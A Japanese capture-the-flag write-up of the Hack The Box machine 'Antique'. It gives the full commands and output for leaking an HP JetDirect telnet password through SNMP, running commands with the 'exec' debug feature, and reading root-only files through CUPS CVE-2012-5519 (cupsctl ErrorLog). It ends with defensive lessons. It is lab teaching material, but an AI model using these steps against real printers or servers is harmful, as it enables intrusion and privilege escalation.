Hack The BoxのWriteup(Antique)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Antique — 全実行コマンド・実行結果レポート
Nmap スキャン
23/tcp telnet “HP JetDirect”
→
UDPスキャン
161/udp SNMP (community: public)
→
snmpwalk
特定OIDでBITS(hex)漏洩
→
hexデコード
P@ssw0rd@123!!123
→
telnet HP JetDirect
exec <cmd> でRCE
→
lpユーザー → user.txt ✓
→
CVE-2012-5519
CUPS 1.6.1 ErrorLog悪用
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

TCPポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.37
nmap -sV -sC -p 23 10.129.90.37
RESULT
PORT   STATE SERVICE
23/tcp open  telnet

(nmapのサービス指紋データベースには一致せず"unrecognized"扱いだが、
 実際のバナーは生で確認できる)
\nHP JetDirect\n\nPassword: 
ℹ️
TCPで開いているポートは23番のみ。バナーにはHP JetDirectと 表示される——HPのネットワークプリンタ製品に組み込まれる管理用telnet インターフェースを模したサービスであることが分かる。

UDPポートスキャン — SNMPの発見

BASH
nmap -sU -p 161 --open 10.129.90.37
RESULT
PORT    STATE SERVICE
161/udp open  snmp
🚨
重要発見: TCPスキャンだけでは見えないUDPポート161で SNMPが稼働している。プリンタ機器はSNMP(デフォルトcommunity文字列 public)での監視・設定変更を前提とした実装が多く、 特にHP JetDirectにはSNMP経由でtelnetパスワードがBITS(16進数)形式で 平文漏洩する既知の弱点がある。
PHASE 2

SNMP経由のtelnetパスワード漏洩

特定OIDへのsnmpwalk

NOTE
HP JetDirect製品は、デバイス設定情報をSNMPの企業固有MIB
(Enterprise OID、HP自身の番号11配下)で公開している。このうち
.1.3.6.1.4.1.11.2.3.9.1.1.13.0 というOIDには、telnet管理画面の
パスワードが"BITS"(ビット列、実質16進バイト列)として格納されており、
community文字列が既定値"public"のままだと誰でも読み取れてしまう。
BASH
snmpwalk -v 2c -c public 10.129.90.37 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
RESULT (本検証の実際の出力)
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65
74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
✅
情報漏洩成功! BITS値の16進バイト列を文字へデコードすると パスワードが復元できる。

BITS値のデコード

NOTE
先頭の16進トークン列(50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33)を
1バイトずつASCII文字に変換すると印字可能な文字列が得られる。これ以降の
トークン(1 3 9 17 18 19 ...)は印字不能なビットフラグ値であり、
パスワード文字列はそこで終端する(=印字可能なプレフィックス部分だけを
取り出せばよい)。
BASH (Pythonでデコード)
python3 -c "
tokens = '50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33'.split()
print(bytes(int(t, 16) for t in tokens).decode())
"
RESULT
P@ssw0rd@123!!123
⚠️
実装上の注意: snmpwalkの出力はターミナル幅の都合で 改行をまたぐことがある(1行目の末尾が32で終わり、 2行目冒頭が33から始まる、のように)。単純に1行だけを 正規表現で拾うと末尾のバイトが欠落し、パスワードが1文字短く (P@ssw0rd@123!!12)なってしまう点に注意。複数行にまたがる 可能性を考慮して全体を連結してからデコードすること。
PHASE 3

HP JetDirect telnet “exec” コマンドによるRCE & user.txt取得

telnetでログイン

BASH
telnet 10.129.90.37 23
RESULT
HP JetDirect

Password: P@ssw0rd@123!!123

>
⚠️
実装上の注意: 接続直後にバナー(HP JetDirect)のみが 表示され、Password:プロンプトはこの時点ではまだ出ない。 一度改行(\n)を送信して初めてPassword:プロンプトが 表示される実装になっている。自前でソケット実装する場合はこの 「空行送信」のステップを忘れると永久にパスワードプロンプト待ちで ハングする。

exec コマンドでシェルコマンド実行

NOTE
HP JetDirectの管理プロンプト(>)は本来プリンタ管理用のコマンドセットだが、
このマシンの実装には "exec <コマンド>" というデバッグ用コマンドが
残されており、任意のシェルコマンドをプリンタデーモンの実行コンテキスト
(ユーザー lp、グループ lpadmin所属)でそのまま実行できてしまう。
BASH (telnetプロンプト上で入力)
> exec id
> exec cat /home/lp/user.txt
RESULT (本検証の実際の出力)
uid=7(lp) gid=7(lp) groups=7(lp),120(lpadmin)

a2901ca514f0979bbc46ba521dd99ba5
✅
RCE成功! リバースシェルを確立するまでもなく、 execコマンド1回ごとに結果が直接返ってくるため、 user.txtはこの時点で既に読み取れている。 lpadminグループ所属であることが、次フェーズの CUPS設定変更権限の伏線になっている。
user.txt — lp (lpadminグループ所属)
a2901ca514f0979bbc46ba521dd99ba5
PHASE 4

CUPS 1.6.1 CVE-2012-5519 — ErrorLog悪用の任意ファイル読取、root.txt取得

CUPSの稼働確認

BASH (exec経由でローカル限定631番ポートを確認)
> exec curl -s http://localhost:631/admin/ -o /dev/null -w "%{http_code}"
ℹ️
CUPS(Common Unix Printing System)の管理インターフェース(ポート631)は 外部に公開されておらずlocalhost限定で稼働しているが、 telnet経由で得たシェル相当のアクセスはこのターゲット自身の上で 実行されるためlocalhostへの到達に何の障害もない。 稼働バージョンはCUPS 1.6.1(1.6.2未満)で、 既知の脆弱性CVE-2012-5519の対象。

脆弱性の仕組み — ErrorLog設定の悪用

NOTE
CVE-2012-5519は、CUPSの設定変更API(cupsctl)が"lpadmin"グループメンバー
からの設定変更要求を適切に権限チェックしない不備。CUPSサーバー自体は
root権限で稼働しているため、ErrorLog(エラーログの出力先パス)を
任意のファイルパスへ変更できてしまうと、CUPSの"エラーログビューア"
エンドポイント(/admin/log/error_log)がそのファイルの内容を
root権限でそのまま返してしまう——つまりErrorLogに/root/root.txtの
ようなパスを指定するだけで、root権限の任意ファイル読取が成立する。
BASH (exec経由で実行、lpグループはlpadmin所属なのでcupsctlが通る)
> exec cupsctl ErrorLog=/root/root.txt
> exec curl -s http://localhost:631/admin/log/error_log
RESULT (本検証の実際の出力)
ec893c4d252e676eb6e0c41ec680af15
✅
root.txt取得成功! ErrorLogに/root/root.txtを 指定した直後、CUPSのログビューアエンドポイントが root権限でそのファイルの中身をそのまま返してきた。 同じ手法で/etc/shadow等、root以外読めないあらゆる ファイルを読み取ることも可能。
root.txt — CVE-2012-5519 (CUPS ErrorLog任意ファイル読取)
ec893c4d252e676eb6e0c41ec680af15
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — lp (lpadminグループ所属)
a2901ca514f0979bbc46ba521dd99ba5
root.txt — CVE-2012-5519 (CUPS ErrorLog任意ファイル読取)
ec893c4d252e676eb6e0c41ec680af15

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SNMP既定community “public” によるパスワード漏洩 HP JetDirect SNMP実装 (OID .1.3.6.1.4.1.11.2.3.9.1.1.13.0) telnet管理パスワードの平文漏洩 High snmpwalkで特定OIDのBITS値を取得し16進デコード
HP JetDirect telnet “exec” コマンド プリンタ管理telnetインターフェース(ポート23) リモートコード実行 (lpユーザー) Critical 漏洩パスワードでログイン後、execコマンドで任意シェルコマンド実行
CVE-2012-5519 CUPS 1.6.1 (<1.6.2、localhost:631) 権限昇格 (root相当の任意ファイル読取) Critical lpadminグループ権限でcupsctl ErrorLogを変更しroot権限のログビューアから任意ファイルを読取

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap TCP/UDP両方23/telnet(HP JetDirect)、161/udp SNMP
2情報漏洩snmpwalk + BITS値16進デコードtelnetパスワード P@ssw0rd@123!!123
3RCEtelnet exec コマンドuser.txt (lp, lpadmin所属)
4権限昇格CVE-2012-5519 CUPS ErrorLog悪用root.txt

学んだ教訓 & 防御策

問題点防御策
SNMP community文字列が既定値”public”のまま変更されていない SNMP community文字列を推測困難な値へ必ず変更し、可能であればSNMPv3(認証・暗号化対応)へ移行する。不要であればSNMP自体を無効化する。
デバイス管理用telnetインターフェースにデバッグ用の任意コマンド実行機能(exec)が残存している 本番運用機器からデバッグ用コマンドを削除する。管理インターフェースはtelnetではなくSSH等の暗号化プロトコルへ移行する。
未パッチの古いCUPS(1.6.1)が稼働し、既知の重大CVEに対して脆弱 CUPSを含む全ソフトウェアを定期的に最新安定版へ更新するパッチ管理プロセスを導入する。
lpadminグループメンバーがCUPSの設定(ErrorLog等)を無制限に変更できる 最小権限の原則に従い、印刷管理に不要な設定変更権限はlpadminグループへ付与しない。
HackTheBox: Antique | 完全攻略レポート